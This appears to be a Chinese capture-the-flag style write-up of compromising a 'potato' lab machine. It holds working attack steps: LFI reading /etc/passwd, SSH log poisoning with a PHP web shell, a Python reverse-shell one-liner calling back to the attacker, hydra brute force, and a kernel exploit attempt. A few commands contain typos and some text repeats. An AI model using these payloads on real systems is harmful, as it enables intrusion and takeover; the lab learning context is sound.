信息收集
扫描网段
nmap 10.9.136.0/24
发现10.9.136.249
主机开放了80端口,输入网址进去之后看到了一个土豆,说明这就是靶机了
IP扫描
nmap -A 10.9.136.249
通过这个命令详细扫描该靶机,发现开放ssh端口 7120
敏感目录扫描
dirb http://10.9.136.249
扫描出了 info.php
,然后输入网址 http://1009.136.249/info.php
通过 F12
,可以看到源代码中有个注释<!--include $_GET['zc']-->
,猜测这个网页具有文件包含漏洞。
渗透利用
密码爆破
经过前面的信息收集,得知这个 info.php
界面可能存在文件包含漏洞并且是Get请求,参数为zc
,所以在网址中加上 ?zc=/etc/passwd
:
可以看到用户信息的内容已经显示在源代码中了,验证了文件包含漏洞,根据显示在源代码中的用户信息,我们可以发现一个普通用户
potato
,所以在这里可以先起一个终端进行密码爆破:
hydra -l potato -P webshell.txt -s 7120 ssh://10.9.136.249
文件包含漏洞利用
注入恶意代码
当然,密码爆破不是最终解决方案,我们要尝试其他渗透方案,既然前面发现了文件包含漏洞,那么是否可以利用这个漏洞,查看用户的登录信息,所以在网址中输入http://10.9.136.249/info.php?zc=/var/log/auth.log
,可以发现用户登录的信息出现在log文件中了,那么假设我们假装登录,把带有危险命令的登录信息记录到这个文件中,然后就能直接让危险命令出现在这个界面中,从而达到利用目的。
所以可以通过以下命令,将危险命令注入到auth.log
文件中,从而让我们能直接利用漏洞:
ssh '<?php system($_GET['cmd']);?>'@10.9.136.5 -p 7120
这个命令意味着,使用 <?php system($_GET['cmd']);?>
账户进行ssh远程登录这个网站的服务器,然后我们就能把这条记录成功注入到auth.log
文件中了,这段PHP
代码 <?php system($_GET['cmd']);?>
的意思就是提供GET请求,允许通过cmd
参数来执行系统命令。
恶意代码测试
在输入以上命令之后(密码随意,我们成功将恶意代码注入到 auth.log
文件,我们回到 php.info
界面,在网址中输入:
http://10.9.136.249/info.php?zc=/var/log/auth.log&cmd=ls
然后按F12
我们可以看到源代码中确实出现了当前目录下的文件信息,致此我们恶意代码利用成功。
反弹Shell渗透
通过以上的恶意代码注入,并且测试成功之后,我们可以直接输入命令来操作服务器了,那么我们如何拿到服务器的shell呢?自然而然我们要有这个思维,既然我们可以操作目标服务器,那我们就可以让目标服务器去主动连接我们的 kali
,从而达到反弹shell获取权限的目的。
所以,我们首先要在 kali
中使用瑞士军刀(nc)
开启监听:
nc -lvvp 8888
监听开启之后,我们要使用下面这段Python代码来主动连接我们的 kali
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.9.136.152",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
所以我们可以借助前面的 恶意代码提供的 cmd
参数发起GET请求,执行上面的代码,完成对 kali
的连接,所以我们可以编写POC
如下:
POC
http://10.9.136.249/info.php?zc=/var/log/auth.log&cmd=python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.9.136.152",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
注意:
POC
中的IP
是我们kali
的IP
,端口是我们kali
监听的端口
然后将上面的POC
输入到网址,我们可以发现网页标签正在转圈圈,说明这个网站的服务器正在连接我们的 kali
了,然后我们来到kali
,可以看到控制台已经出现网站目录了,到这我们就成功渗透进入该网站服务器了,但是这个权限还是普通的用户权限。所以我们还要继续渗透,提升到root权限。
找到普通用户密码
进入网站的服务器之后,我们来到家目录下的potato目录,通过 ls -a
可以看到一个隐藏的 password.txt
文件,查看文件内容如下所示:
这个获取是一个通过某种规则加密过后的密文,将密文复制到百度上一搜索,发现这是 brainfuck
语言加密的,我们可以通过 https://www.splitbrain.org/services/ook 网址在线解密:
解密结果为:emN5eWRzMjAyMg==
,这个结果看上去是个Base64
编码的格式,所以把这个结果放到 Base64
在线解码网站,可以获得明文密码:zcyyds2022
,所以得出结论,这个密码是通过 Base64 + brainfuck
双重加密的。
在拿到上面的密码之后,我们通过用户 potato
进行ssh登录:
ssh potato@10.9.136.249 -9 7120
输入密码之后,成功登录,至此,我们成功登录进该网站的普通用户目录。
尝试提权
进入普通用户之后,查找相关目录,没有发现什么线索,所以想到的是查找一下该服务器的内核版本,看看这个版本的服务器有没有提权漏洞:
uname -a
通过上面的命令,我们可得知该系统的版本为:ubuntu 4.14
,然后去 kali
使用 searchsploit
工具搜索 linux
内核漏洞库:
searchsploit ubuntu 4.14
通过漏洞库的exp名字,输入该命令下载exp:
searchsploit -m 41720.c
下载之后,我们可以打开http
服务:
python3 -m http.server 80
然后在靶机中输入该命令下载exp:
wget http://10.9.136.249/41720.c
下载之后,由于这个exp是C语言,所以我们需要将他编译
gcc 41720.c -o exp
以上的命令的意思是将该C文件使用gcc
编译为exp,然后通过chmod 777 exp
将exp变为可执行文件。然后输入 ./exp
执行编译之后的C语言文件
提权失败
在执行文件之后,发现报错了,根据错误提示,可能是漏洞利用库的文件用错了,然后我们可以尝试去下载其他的漏洞文件去编译,然后执行,但是所有的文件尝试之后,都无法提权成功,很多都会报错类似于GCC
版本的错误。
失败原因:
1.漏洞利用文件使用不恰当
2.
gcc
版本编译不兼容
解决方案
所以我猜测,应该是GCC
编译的时候和C语言文件利用的一些库版本不兼容,所以我们可以通过命令gcc -v
查看一下该GCC
的版本,发现靶机的 gcc
版本很低,然而我们的 kali
的gcc
版本比较高,所以我们可以将C语言文件在kali
编译好之后,再传到靶机,如果还是不行,就换 gcc
的其他版本(可以使用其他虚拟机,比如centos7
试试)去编译C语言文件,再传到靶机,利用内核漏洞只能通过这种方式了,因为靶机的普通用户无法修改gcc
的版本。
总结
通过这次靶场练习,我发现任何登录都能使用密码爆破(前提是靶场不会封IP
),当然密码爆破是毫无办法的时候的手段,因为一般情况下,密码爆破的成功率极低,只能寻求个心理安慰,所以我们要尽量利用网站暴露的其他漏洞,不要寄托于密码爆破。
在我们进行敏感目录扫描之后,我们最好每个目录都使用`F12`开发者工具查看,这样就能看到更加详细的信息,获取能发现开发人员在制作网站的时候留下的痕迹,从而让我们利用。
渗透进普通用户的服务器之后,如果没有找到 root
用户的密码,我们可以尝试查找系统内核漏洞,然后将漏洞利用代码上传到靶机进行执行,但是一般情况下,我们是无法在网站的根目录下使用 wget
命令去下载的,因为这个目录一般不对普通用户开放写权限,所以我们如果想在靶机上下载漏洞利用文件,我们可以到所有用户的共享目录 /tmp
中去下载。
作网站的时候留下的痕迹,从而让我们利用。
渗透进普通用户的服务器之后,如果没有找到 root
用户的密码,我们可以尝试查找系统内核漏洞,然后将漏洞利用代码上传到靶机进行执行,但是一般情况下,我们是无法在网站的根目录下使用 wget
命令去下载的,因为这个目录一般不对普通用户开放写权限,所以我们如果想在靶机上下载漏洞利用文件,我们可以到所有用户的共享目录 /tmp
中去下载。
但是,有的时候虽然找到了内核漏洞,但是由于gcc
编译版本的原因,我们无法在靶机上正常执行exp,所以我们要考虑使用其他版本的gcc
去编译C文件,然后再传到靶机,从而避免版本兼容问题。